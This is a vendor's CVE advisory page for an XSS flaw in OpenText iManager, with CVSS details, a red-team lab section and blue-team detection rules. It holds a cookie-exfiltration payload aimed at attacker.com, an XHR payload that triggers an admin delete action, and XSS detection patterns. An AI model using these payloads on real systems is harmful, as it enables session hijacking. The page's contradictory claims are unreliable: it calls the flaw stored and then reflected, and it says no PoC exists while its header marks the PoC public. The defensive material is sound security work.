☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2022-26324

CVE-2022-26324 Cross-Site Scripting in Opentext
📅 PUBLISHED: 2024-11-22 15:34 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.6
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2022-26324 is a stored Cross-Site Scripting (XSS) vulnerability discovered in OpenText™ iManager version 3.2.6.0000. The flaw allows an attacker to inject malicious scripts via a crafted URL within the iManager access component. Successful exploitation could lead to session hijacking, credential theft, or unauthorized actions performed on behalf of an authenticated administrator. The vulnerability has a CVSS score of 7.6 (High), indicating significant risk due to the potential for complete compromise of the iManager interface. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.6 (High)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited data modification.
  • Availability (A): Low (L) – Limited service disruption.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and requires only user interaction. An attacker can execute arbitrary JavaScript in the context of the iManager session, potentially leading to full administrative control.

Deep Dive & Mechanics

The vulnerability resides in the URL handling logic of OpenText iManager's access component. When a user navigates to a specially crafted URL, the application fails to properly sanitize user-supplied input before reflecting it in the page output. This allows an attacker to inject arbitrary HTML and JavaScript code.

Attack Flow:

  1. An attacker crafts a malicious URL containing a JavaScript payload, e.g., https://imanager.example.com/access?param=<script>alert('XSS')</script>.
  2. The attacker sends this URL to an authenticated iManager administrator via email, chat, or other means.
  3. The administrator clicks the link while logged into iManager.
  4. The server processes the request and reflects the malicious script in the response without proper encoding.
  5. The victim's browser executes the script, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or deface the interface.

The root cause is insufficient input validation and output encoding in the access component. The application likely uses a parameter directly in the response without applying context-aware escaping.

Vulnerable vs. Patched Code

Since no patch details are available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// Vulnerable: Direct reflection of user input
$param = $_GET['param'];
echo "<div>You requested: $param</div>";

Patched Code (Conceptual):

// Patched: Proper output encoding
$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<div>You requested: $param</div>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

  • OpenText iManager 3.2.6.0000 (vulnerable instance)
  • Attacker machine with browser and Burp Suite
  • Victim machine with browser logged into iManager

Exploitation Steps:

  1. Identify the vulnerable parameter in the access component (e.g., param, url, redirect).
  2. Craft a payload to steal cookies:
    https://imanager.example.com/access?param=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  3. URL-encode the payload and send it to the victim.
  4. Set up a listener on the attacker machine to capture incoming requests.
  5. Once the victim clicks the link, the cookie is exfiltrated.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin/config?action=delete&id=1', true);
xhr.withCredentials = true;
xhr.send();
</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor web server logs for unusual parameters containing <script>, onerror, onload, or base64-encoded strings.
  2. Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.
  4. Conduct regular vulnerability scans using tools like Nessus or Qualys.

Mitigation:

  • Apply input validation and output encoding as shown in the patched code.
  • Restrict access to iManager to trusted IPs.
  • Enable HTTP-only and Secure flags on session cookies.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing <script> tags in query parameters.
    • Outbound connections to unknown IPs on port 80/443 from iManager server.
    • Referer headers pointing to malicious domains.
  • File IOCs:

    • Modified iManager configuration files (e.g., config.php, access.php).
    • Unexpected JavaScript files in web root.
  • Log IOCs:

    • Repeated 404 errors for non-existent paths.
    • Anomalous user-agent strings (e.g., curl, python-requests).

Detection Engineering

YARA Rule

rule CVE_2022_26324_XSS_iManager {
    meta:
        description = "Detects XSS attempts targeting OpenText iManager CVE-2022-26324"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-26324"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "document.cookie" nocase
        $imanager = "iManager" nocase
    condition:
        any of ($xss*) and $imanager
}

Sigma Rule

title: Reflected XSS in OpenText iManager
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts in iManager access component
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URL parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-26324 - Reflected XSS in OpenText iManager"; flow:to_server,established; content:"GET"; http_method; content:"/access"; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the iManager server from untrusted networks.
  2. Implement a WAF with virtual patching for XSS.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Apply input validation and output encoding to all user-supplied data.
  • Upgrade to a patched version once available (contact OpenText support).
  • Conduct a security audit of the iManager codebase.

Compensating Controls:

  • Enforce strict Content Security Policy (CSP).
  • Use HTTP-only and Secure cookies.
  • Enable multi-factor authentication (MFA) for iManager access.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

iManager
OpenText iManager
iManager 3.2.6

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2022-26324/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.